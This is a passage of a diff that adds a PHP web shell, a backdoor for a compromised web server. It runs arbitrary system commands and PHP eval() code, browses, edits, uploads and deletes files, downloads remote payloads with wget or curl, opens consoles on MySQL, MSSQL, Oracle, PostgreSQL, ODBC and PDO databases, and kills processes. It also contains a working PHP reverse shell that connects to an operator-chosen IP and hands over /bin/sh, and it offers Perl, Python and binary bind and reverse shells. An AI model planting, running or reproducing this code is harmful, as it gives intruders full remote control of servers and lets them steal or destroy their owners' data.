elseif(function_exists('exec')) { + exec($c,$r); + $b = ""; + foreach($r as $s){ + $b .= $s; + } + return $b; + } + elseif(function_exists('passthru')) { + ob_start(); + passthru($c); + $b = ob_get_contents(); + ob_end_clean(); + return $b; + } + return ""; // failed... oh my +} +// add slash to the end of given path +function cp($p){ + if(is_dir($p)){ + $x = DIRECTORY_SEPARATOR; + while(substr($p,-1) == $x) $p = rtrim($p,$x); + return $p.$x; + } + return $p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($d) { + $f = glob($d . '*', GLOB_MARK); + foreach($f as $z){ + if(is_dir($z)) rmdirs($z); + else unlink($z); + } + if(is_dir($d)) rmdir($d); +} +function xwhich($pr){ + $p = exe("which $pr"); + if(trim($p)!="") { return trim($p); } else { return trim($pr); } +} +// download file from internet +function dlfile($u,$p){ + $n = basename($u); + + // try using php functions + if($t = file_get_contents($u)){ + if(is_file($p)) unlink($p);; + if($f=fopen($p,"w")){ + fwrite($f,$t); + fclose($f); + if(is_file($p)) return true; + } + } + + // using wget + exe(xwhich('wget')." ".$u." -O ".$p); + if(is_file($p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$u." ".$p); + if(is_file($p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$u." > ".$p); + if(is_file($p)) return true; + + // try using curl + exe(xwhich('curl')." ".$u." -o ".$p); + if(is_file($p)) return true; + + return false; +} +// explorer, return a table of given dir +function showdir($pwd,$prompt,$win){ + if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; + else $posix = FALSE; + + $user = "????:????"; + $fname = array(); + $dname = array(); + + if($dh = scandir($pwd)){ + foreach($dh as $file){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file)) $fname[] = $file; + } + } + else{ + if($dh = opendir($pwd)){ + while($file = readdir($dh)){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file))$fname[] = $file; + } + closedir($dh); + } + } + + sort($fname); + sort($dname); + + $path = explode(DIRECTORY_SEPARATOR,$pwd); + $tree = sizeof($path); + $parent = ""; + $buff = " + + + "; + if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; + else $parent = $pwd; + + foreach($dname as $folder){ + if($folder == ".") { + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']." : ".$group['name']; + } + else { + $owner = $user; + } + $buff .= " + "; + } + elseif($folder == "..") { + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']." : ".$group['name']; + } + else { + $owner = $user; + } + $buff .= ""; + } + else { + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']." : ".$group['name']; + } + else { + $owner = $user; + } + $buff .= ""; + } + } + + foreach($fname as $file){ + $full = $pwd.$file; + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($full)); + $group = posix_getgrgid(filegroup($full)); + $owner = $name['name']." : ".$group['name']; + } + else { + $owner = $user; + } + $buff .= " + "; + } + $buff .= "
namesizeowner : grouppermsmodifiedactions
[ $folder ]LINK".$owner."".gp($pwd)."".date("d-M-Y H:i",filemtime($pwd))."newfile | newfolder | upload +
+ + + +
[ $folder ]LINK".$owner."".gp($parent)."".date("d-M-Y H:i",filemtime($parent))."newfile | newfolder | upload +
+ + + +
+
[ $folder ] +
+ + + + + +
+
DIR".$owner."".gp($pwd.$folder)."".date("d-M-Y H:i",filemtime($folder))."rename | delete | upload
$file +
+ + + + + +
+
".gs($full)."".$owner."".gp($full)."".date("d-M-Y H:i",filemtime($full))."edit | rename | delete | download (gzip)
"; + return $buff; +} + +// favicon +if(isset($_REQUEST['favicon'])){ + $data = gzinflate(base64_decode($favicon)); + header("Content-type: image/png"); + header("Cache-control: public"); + echo $data; + exit; +} +if($s_auth){ + // server software + $s_software = getenv("SERVER_SOFTWARE"); + // check safemode + if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") $s_safemode = TRUE; else $s_safemode = FALSE; + // uname -a + $s_system = php_uname(); + // check os + $s_win = FALSE; + if(strtolower(substr($s_system,0,3)) == "win") $s_win = TRUE; + // get path and all drives available + $letters = ''; + if(!$s_win){ + if(!$s_user = rp(exe("whoami"))) $s_user = ""; + if(!$s_id = rp(exe("id"))) $s_id = ""; + $pwd = getcwd().DIRECTORY_SEPARATOR; + } + else { + $s_user = get_current_user(); + $s_id = $s_user; + $pwd = realpath(".")."\\"; + // find drive letters + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("A","Z") as $letter){ + $bool = @is_dir($letter.":\\"); + if ($bool){ + $letters .= "[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= " ] "; + } + } + } + // prompt style.. + $s_prompt = $s_user." >"; + + // check for posix + if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $s_posix = TRUE; + else $s_posix = FALSE; + + // server ip + $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + // your ip ;-) + $s_my_ip = $_SERVER['REMOTE_ADDR']; + + // change working directory + if(isset($_REQUEST['d'])){ + $d = ss($_REQUEST['d']); + if(is_dir($d)){ + chdir($d); + $pwd = cp($d); + } + } + else $pwd = cp(getcwd()); + // sorttable.js + if(isset($_REQUEST['sorttable'])){ + $data = gzinflate(base64_decode($sortable_js)); + header("Content-type: text/plain"); + header("Cache-control: public"); + echo $data; + exit; + } + // download file specified by ?dl= + if(isset($_REQUEST['dl']) && ($_REQUEST['dl'] != "")){ + $f = ss($_REQUEST['dl']); + $fc = file_get_contents($f); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($fc)); + header("Content-disposition: attachment; filename=\"".basename($f)."\";"); + echo $fc; + exit; + } // download file specified by ?dlgzip= as gzip + elseif(isset($_REQUEST['dlgzip']) && ($_REQUEST['dlgzip'] != "")){ + $f = ss($_REQUEST['dlgzip']); + $fc = gzencode(file_get_contents($f)); + header("Content-Type:application/x-gzip\n"); + header("Content-length: ".strlen($fc)); + header("Content-disposition: attachment; filename=\"".basename($f).".gz\";"); + echo $fc; + exit; + } + // kill process specified by pid + if(isset($_REQUEST['pid'])){ + $p = ss($_REQUEST['pid']); + if(function_exists("posix_kill")) posix_kill($p,'9'); + else{ + exe("kill -9 ".$p); + exe("taskkill /F /PID ".$p); + } + } + // view image specified by ?img= + if(isset($_REQUEST['img'])){ + ob_clean(); + $d = ss($_REQUEST['d']); + $f = ss($_REQUEST['img']); + $inf = getimagesize($d.$f); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + readfile($d.$f); + exit; + } + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $old = ss($_REQUEST['oldname']); + $new = ss($_REQUEST['newname']); + rename($pwd.$old,$pwd.$new); + $fnew = $pwd.$new; + } + // delete file + if(isset($_REQUEST['delete']) && ($_REQUEST['delete'] != "")){ + $f = ss($_REQUEST['delete']); + if(is_file($f)) unlink($f); + } // delete dir + elseif(isset($_REQUEST['rmdir']) && ($_REQUEST['rmdir'] != "")){ + $f = ss(rtrim(ss($_REQUEST['rmdir'],DIRECTORY_SEPARATOR))); + if(is_dir($f)) rmdirs($f); + } // create dir + elseif(isset($_REQUEST['mkdir']) && ($_REQUEST['mkdir'] != "")){ + $f = ss($pwd.ss($_REQUEST['mkdir'])); + if(!is_dir($f)) mkdir($f); + } + // box result + $s_result = ""; + // php eval() function + if(isset($_REQUEST['eval'])){ + $c = ""; + if(isset($_REQUEST['evalcode'])){ + // show error + $eval_addition = "error_reporting(E_ALL);@ini_set(\"display_errors\", 1);"; + $c = ss($_REQUEST['evalcode']); + ob_start(); + eval(eval($eval_addition) . eval($c)); + $b = ob_get_contents(); + ob_end_clean(); + $code = $b; + } + $s_result .= "
+ +

+ + +
+ "; + } // upload ! + elseif(isset($_REQUEST['upload'])){ + $s_result = " "; + $msg = ""; + if(isset($_REQUEST['uploadhd'])){ + $fn = $_FILES['filepath']['name']; + if(is_uploaded_file($_FILES['filepath']['tmp_name'])){ + $p = cp(ss($_REQUEST['savefolder'])); + if(!is_dir($p)) $p = cp(dirname($p)); + if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']); + $tm = $_FILES['filepath']['tmp_name']; + $pi = cp($p).$fn; + $st = move_uploaded_file($tm,$pi); + if($st) $msg = "

file uploaded to ".$pi."

"; + else $msg = "

failed to upload ".$fn."

"; + } + else $msg = "

failed to upload ".$fn."

"; + } + elseif(isset($_REQUEST['uploadurl'])){ + // function dlfile($url,$fpath){ + $p = cp(ss($_REQUEST['savefolderurl'])); + if(!is_dir($p)) $p = cp(dirname($p)); + $fu = ss($_REQUEST['fileurl']); + $fn = basename($fu); + if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']); + $fp = cp($p).$fn; + $st = dlfile($fu,$fp); + if($st) $msg = "

file uploaded to ".$fp."

"; + else $msg = "

failed to upload ".$fn."

"; + } + + $s_result .= $msg; + $s_result .= " +
+

Upload from computer

+ + + + + + + +
File +
Save to
Filename (optional)
  + +
+
+
+ +
+

Upload from internet

+ + + + + + + +
File URL +
Save to
Filename (optional)
  + +
+
+
+ + "; + } // show phpinfo() + elseif(isset($_REQUEST['phpinfo'])){ + ob_start(); + eval("phpinfo();"); + $b = ob_get_contents(); + ob_end_clean(); + $a = strpos($b,"")+6; // yeah baby,, your body is wonderland ;-) + $z = strpos($b,""); + $s_result = "
".substr($b,$a,$z-$a)."
"; + } // working with database + elseif(isset($_REQUEST['db'])){ + $sqlhost = $sqlhost1 = $sqlhost2 = $sqlhost3 = $sqlhost4 = 'localhost'; + $sqluser = $sqluser1 = $sqluser2 = $sqluser3 = $sqluser4 = $odbcuser = $odbcdsn = $pdodsn = $pdouser = ''; + $sqlport = $sqlport1 = $sqlport2 = $sqlport3 = $sqlport4 = ''; + $sqlpass = $sqlpass1 = $sqlpass2 = $sqlpass3 = $sqlpass4 = $odbcpass = $pdopass = ''; + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlhost1'])) $sqlhost = $sqlhost1 = ss($_REQUEST['sqlhost1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlhost2'])) $sqlhost = $sqlhost2 = ss($_REQUEST['sqlhost2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlhost3'])) $sqlhost = $sqlhost3 = ss($_REQUEST['sqlhost3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlhost4'])) $sqlhost = $sqlhost4 = ss($_REQUEST['sqlhost4']); + if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcdsn'])) $odbcdsn = ss($_REQUEST['odbcdsn']); + if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdodsn'])) $pdodsn = ss($_REQUEST['pdodsn']); + if(isset($_REQUEST['sqlhost'])) $sqlhost = ss($_REQUEST['sqlhost']); + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqluser1'])) $sqluser = $sqluser1 = ss($_REQUEST['sqluser1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqluser2'])) $sqluser = $sqluser2 = ss($_REQUEST['sqluser2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqluser3'])) $sqluser = $sqluser3 = ss($_REQUEST['sqluser3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqluser4'])) $sqluser = $sqluser4 = ss($_REQUEST['sqluser4']); + if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcuser'])) $odbcuser = ss($_REQUEST['odbcuser']); + if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdouser'])) $pdouser = ss($_REQUEST['pdouser']); + if(isset($_REQUEST['sqluser'])) $sqluser = ss($_REQUEST['sqluser']); + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlport1'])) $sqlport = $sqlport1 = ss($_REQUEST['sqlport1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlport2'])) $sqlport = $sqlport2 = ss($_REQUEST['sqlport2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlport3'])) $sqlport = $sqlport3 = ss($_REQUEST['sqlport3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlport4'])) $sqlport = $sqlport4 = ss($_REQUEST['sqlport4']); + if(isset($_REQUEST['sqlport'])) $sqlport = ss($_REQUEST['sqlport']); + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlpass1'])) $sqlpass = $sqlpass1 = ss($_REQUEST['sqlpass1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlpass2'])) $sqlpass = $sqlpass2 = ss($_REQUEST['sqlpass2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlpass3'])) $sqlpass = $sqlpass3 = ss($_REQUEST['sqlpass3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlpass4'])) $sqlpass = $sqlpass4 = ss($_REQUEST['sqlpass4']); + if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcpass'])) $odbcpass = ss($_REQUEST['odbcpass']); + if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdopass'])) $pdopass = ss($_REQUEST['pdopass']); + if(isset($_REQUEST['sqlpass'])&&isset($_REQUEST['sqlpass'])) $sqlpass = ss($_REQUEST['sqlpass']); + + $sqls = ""; + $q_result = ""; + $hostandport = $sqlhost; + if(trim($sqlport)!="") $hostandport = $sqlhost.":".$sqlport; + + if(isset($_REQUEST['mysqlcon']) && ($con = mysql_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = mysql_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + while($rows=mysql_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SHOW databases;"; + + $s_result .= "
+ + + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) mysql_close($con); + } + elseif(isset($_REQUEST['mssqlcon']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = mssql_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + while($rows=mssql_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "EXEC sp_databases;"; + + $s_result .= "
+ + + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) mssql_close($con); + } + elseif(isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $st = oci_parse($con, $query); + if(oci_execute($st)){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=1;$i<=oci_num_fields($st);$i++) + $q_result .= ""; + + $q_result .= ""; + + while($rows=oci_fetch_array($st)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars(oci_field_name($st,$i))."
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT * FROM user_tablespaces;"; + + $s_result .= "
+ + + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) oci_close($con); + } + elseif(isset($_REQUEST['pgsqlcon']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = pg_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + + while($rows=pg_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + } + elseif(isset($_REQUEST['odbccon']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = odbc_exec($con, $query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=1;$i<=odbc_num_fields($hasil);$i++) + $q_result .= ""; + $q_result .= ""; + + while($rows=odbc_fetch_array($hasil)){ + $q_result .= ""; + foreach($rows as $r) + { + if($r == "") $dataz = " "; + else $dataz = $r; + $q_result .= ""; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars(odbc_field_name($hasil,$i))."
".htmlspecialchars($dataz)."
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = ""; + + $s_result .= "
+ + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) odbc_close($con); + } + else{ + if(isset($_REQUEST['pdocon'])){ + try{ + // create object + $mypdo = new PDO($pdodsn,$pdouser,$pdopass); + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + + if($hasil = $mypdo->query($query)){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + // workaround to get column name + $r = $hasil->fetch(PDO::FETCH_ASSOC); + $savefirstrow = array(); + foreach($r as $fn=>$fv){ + $q_result .= ""; + $savefirstrow[] = $fv; + } + $q_result .= ""; + foreach($savefirstrow as $fv){ + $q_result .= ""; + } + $q_result .= ""; + while($rows = $hasil->fetch(PDO::FETCH_ASSOC)){ + $q_result .= ""; + foreach($rows as $r) + { + if($r == "") $dataz = " "; + else $dataz = $r; + $q_result .= ""; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars($fn)."
".htmlspecialchars($fv)."
".htmlspecialchars($dataz)."
"; + } + else{ + + $q_result .= "

".$query.";    + [ error ]

"; + } + + $q_result .= ""; + } + } + } + else $sqls = ""; + + $s_result .= "
+ + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + } + catch (PDOException $uck) { + die(); + } + } + else{ + // mysql + $s_result .= "

connect to MySQL

+
+ + + + + +
Host
Username
Password
Port (optional)
+ +
+
"; + // mssql + $s_result .= "

connect to MsSQL

+
+ + + + + +
Host
Username
Password
Port (optional)
+ +
+
"; + + // postgresql + $s_result .= "

connect to PostgreSQL

+
+ + + + + +
Host
Username
Password
Port (optional)
+ + +
+
"; + + // oracle + $s_result .= "

connect to Oracle

+
+ + + + + +
Host
Username
Password
Port (optional)
+ + +
+
"; + + // odbc + $s_result .= "

connect using ODBC

+
+ + + + +
DSN / Connection String
Username
Password
+ + +
+
"; + + // pdo + $s_result .= "

connect using PDO

+
+ + + + +
DSN / Connection String
Username
Password
+ + +
+
"; + } + } + } // bind and reverse shell + elseif(isset($_REQUEST['rs'])){ + $rshost = $s_server_ip; + $rstarget = ""; + $d = $pwd; + if(isset($_REQUEST['d'])) $d = ss($_REQUEST['d']); + + $rsport = "13123"; + // resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c + $rspesan = "Press ' Go ! ' button and run ' nc server_ip port ' on your computer"; + $rspesanb = "Run ' nc -l -v -p port ' on your computer and press ' Go ! ' button"; + + $rsport1 = $rsport; + $rsport2 = $rsport; + $rsport3 = $rsport; + + if(isset($_REQUEST['xbind_pl'])){ + if(isset($_REQUEST['sqlport1'])) $rsport1 = ss($_REQUEST['sqlport1']); + $rstarget = $rsport1; + $rsres = rs($s_win, cp($d), "xbind_pl" ,$xbind_pl, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xbind_py'])){ + if(isset($_REQUEST['sqlport2'])) $rsport2 = ss($_REQUEST['sqlport2']); + $rstarget = $rsport2; + $rsres = rs($s_win, cp($d), "xbind_py" ,$xmulti_py, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xbind_bin'])){ + if(isset($_REQUEST['sqlport3'])) $rsport3 = ss($_REQUEST['sqlport3']); + $rstarget = $rsport3; + if(!$s_win) $rsres = rs($s_win, cp($d), "xbind_bin" ,$xbind_c, $rstarget); + else $rsres = rs($s_win, cp($d), "xbind_bin" ,$wmulti_c, $rstarget); + $s_result .= $rsres; + } + + $rsportb1 = $rsport; + $rsportb2 = $rsport; + $rsportb3 = $rsport; + $rsportb4 = $rsport; + $rstarget1 = $s_my_ip; + $rstarget2 = $s_my_ip; + $rstarget3 = $s_my_ip; + $rstarget4 = $s_my_ip; + + if(isset($_REQUEST['xback_pl'])){ + if(isset($_REQUEST['sqlportb1'])) $rsportb1 = ss($_REQUEST['sqlportb1']); + if(isset($_REQUEST['rstarget1'])) $rstarget1 = ss($_REQUEST['rstarget1']); + + $rstarget = $rsportb1." ".$rstarget1; + $rsres = rs($s_win, cp($d), "xback_pl" ,$xback_pl, $rstarget); + $s_result .= $rsres; + + } + if(isset($_REQUEST['xback_py'])){ + if(isset($_REQUEST['sqlportb2'])) $rsportb2 = ss($_REQUEST['sqlportb2']); + if(isset($_REQUEST['rstarget2'])) $rstarget2 = ss($_REQUEST['rstarget2']); + + $rstarget = $rsportb2." ".$rstarget2; + $rsres = rs($s_win, cp($d), "xback_py" ,$xmulti_py, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xback_bin'])){ + if(isset($_REQUEST['sqlportb3'])) $rsportb3 = ss($_REQUEST['sqlportb3']); + if(isset($_REQUEST['rstarget3'])) $rstarget3 = ss($_REQUEST['rstarget3']); + + $rstarget = $rsportb3." ".$rstarget3; + if(!$s_win) $rsres = rs($s_win, cp($d), "xback_bin" ,$xback_c, $rstarget); + else $rsres = rs($s_win, cp($d), "xback_bin" ,$wmulti_c, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xback_php'])){ + if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']); + if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']); + $ip = $rstarget4; + $port = $rsportb4; + $chunk_size = 1337; + $write_a = null; + $error_a = null; + $shell = '/bin/sh'; + $daemon = 0; + $debug = 0; + if(function_exists('pcntl_fork')){ + $pid = pcntl_fork(); + if ($pid == -1) exit(1); + if ($pid) exit(0); + if (posix_setsid() == -1) exit(1); + $daemon = 1; + } + umask(0); + $sock = fsockopen($ip, $port, $errno, $errstr, 30); + if(!$sock) exit(1); + $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); + $process = proc_open($shell, $descriptorspec, $pipes); + if(!is_resource($process)) exit(1); + stream_set_blocking($pipes[0], 0); + stream_set_blocking($pipes[1], 0); + stream_set_blocking($pipes[2], 0); + stream_set_blocking($sock, 0); + while(1){ + if(feof($sock)) break; + if(feof($pipes[1])) break; + $read_a = array($sock, $pipes[1], $pipes[2]); + $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); + if(in_array($sock, $read_a)){ + $input = fread($sock, $chunk_size); + fwrite($pipes[0], $input); + } + if(in_array($pipes[1], $read_a)){ + $input = fread($pipes[1], $chunk_size); + fwrite($sock, $input); + } + if(in_array($pipes[2], $read_a)){ + $input = fread($pipes[2], $chunk_size); + fwrite($sock, $input); + } + } + fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]); + proc_close($process); + $rsres = " "; + $s_result .= $rsres; + } + $s_result .= "

Bind shell ( perl )

+
+ + + +
Server IP
Port
+ +   ".$rspesan." + +
+
"; + $s_result .= "

Bind shell ( python )

+
+ + + +
Server IP
Port
+ +   ".$rspesan." + +
+
"; + $s_result .= "

Bind shell ( bin )

+
+ + + +
Server IP
Port
+ +   ".$rspesan." + +
+
"; + $s_result .= "

Reverse shell ( perl )

+
+ + + +
Your IP
Port
+ +   ".$rspesanb." + +
+
"; + $s_result .= "

Reverse shell ( python )

+
+ + + +
Your IP
Port
+ +   ".$rspesanb." + +
+
"; + $s_result .= "

Reverse shell ( bin )

+
+ + + +
Your IP
Port
+ +   ".$rspesanb." + +
+
"; + $s_result .= "

Reverse shell ( php )

+
+ + + +
Your IP
Port
+ +   ".$rspesanb." + +
+
"; + } // view file + elseif(isset($_REQUEST['view'])){ + $f = ss($_REQUEST['view']); + if(isset($fnew) && (trim($fnew)!="")) $f = $fnew; + + if(is_file($f)){ + if(!$s_win && $s_posix){ + $name = posix_getpwuid(fileowner($f)); + $group = posix_getgrgid(filegroup($f)); + $owner = $name['name']." : ".$group['name']; + } + else { + $owner = $s_user; + } + $filn = basename($f); + $s_result .= " + + + + + + + + + +
Filename".$f." +
+ + + + +
+
Size".gs($f)."
Permission".gp($f)."
Owner".$owner."
Create time".date("d-M-Y H:i",filectime($f))."
Last modified".date("d-M-Y H:i",filemtime($f))."
Last accessed".date("d-M-Y H:i",fileatime($f))."
Actions + edit | + rename | + delete | + download (gzip)
View + text | + code | + image
+ "; + $t = ""; + $iinfo = getimagesize($f); + if(substr($filn,-3,3) == "php") $t = "code"; + if(is_array($iinfo)) $t = 'image'; + + if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']); + + if($t=="image"){ + $width = (int) $iinfo[0]; + $height = (int) $iinfo[1]; + $imginfo = "Image type = ( ".$iinfo['mime']." )
+ Image Size = ( ".$width." x ".$height." )
"; + if($width > 800){ + $width = 800; + $imglink = "

+ [ view full size ]

"; + } + else $imglink = ""; + + $s_result .= "
".$imglink." + \"\"
"; + + } + elseif($t=="code"){ + $s_result .= "
"; + $file = wordwrap(file_get_contents($f),160,"\n",true); + $buff = highlight_string($file,true); + $old = array("0000BB","000000","FF8000","DD0000", "007700"); + $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000"); + $buff = str_ireplace($old,$new, $buff); + $s_result .= $buff; + $s_result .= "
"; + } + else { + $s_result .= "
"; + $s_result .= nl2br(htmlentities(wordwrap(file_get_contents($f),160,"\n",true))); + $s_result .= "
"; + } + } + elseif(is_dir($f)){ + chdir($f); + $pwd = cp(getcwd()); + $s_result .= showdir($pwd,$s_prompt,$s_win); + } + + } // edit file + elseif(isset($_REQUEST['edit'])){ + $f = ss($_REQUEST['edit']); + $fc = ""; + $fcs = ""; + + if(is_file($f)) $fc = file_get_contents($f); + if(isset($_REQUEST['fcsubmit'])){ + $fc = ssc($_REQUEST['fc']); + if($filez = fopen($f,"w")){ + $time = date("d-M-Y H:i",time()); + if(fwrite($filez,$fc)) $fcs = "file saved @ ".$time; + else $fcs = "failed to save"; + fclose($filez); + } + else $fcs = "permission denied"; + } + $s_result .= "
+ +

+

+   ".$fcs."

+ +
+ "; + + } // task manager + elseif(isset($_REQUEST['ps'])){ + $s_result = ""; + if(!$s_win) $h = "ps -aux"; + else $h = "tasklist /V /FO csv"; + $wcount = 11; + $wexplode = " "; + if($s_win) $wexplode = "\",\""; + + + $res = exe($h); + if(trim($res)=='') $s_result .= "

error: permission denied

"; + else{ + if(!$s_win) $res = preg_replace('#\ +#',' ',$res); + + $psarr = explode("\n",$res); + $fi = true; + $tblcount = 0; + + $check = explode($wexplode,$psarr[0]); + $wcount = count($check); + + foreach($psarr as $psa){ + if(trim($psa)!=''){ + if($fi){ + $fi = false; + $psln = explode($wexplode,$psa,$wcount); + $s_result .= ""; + foreach($psln as $p){ + $s_result .= ""; + } + $s_result .= ""; + } + else{ + $psln = explode($wexplode,$psa,$wcount); + $s_result .= ""; + $tblcount = 0; + foreach($psln as $p){ + if(trim($p)=="") $p = " "; + if($tblcount == 0){ + $s_result .= " + "; + $tblcount++; + } + else{ + $tblcount++; + if($tblcount == count($psln)) $s_result .= ""; + else $s_result .= ""; + } + } + $s_result .= ""; + } + } + } + $s_result .= "
action".trim(trim(strtolower($p)),"\"")."
kill".trim(trim($p),"\"")."".trim(trim($p), "\"")."".trim(trim($p), "\"")."
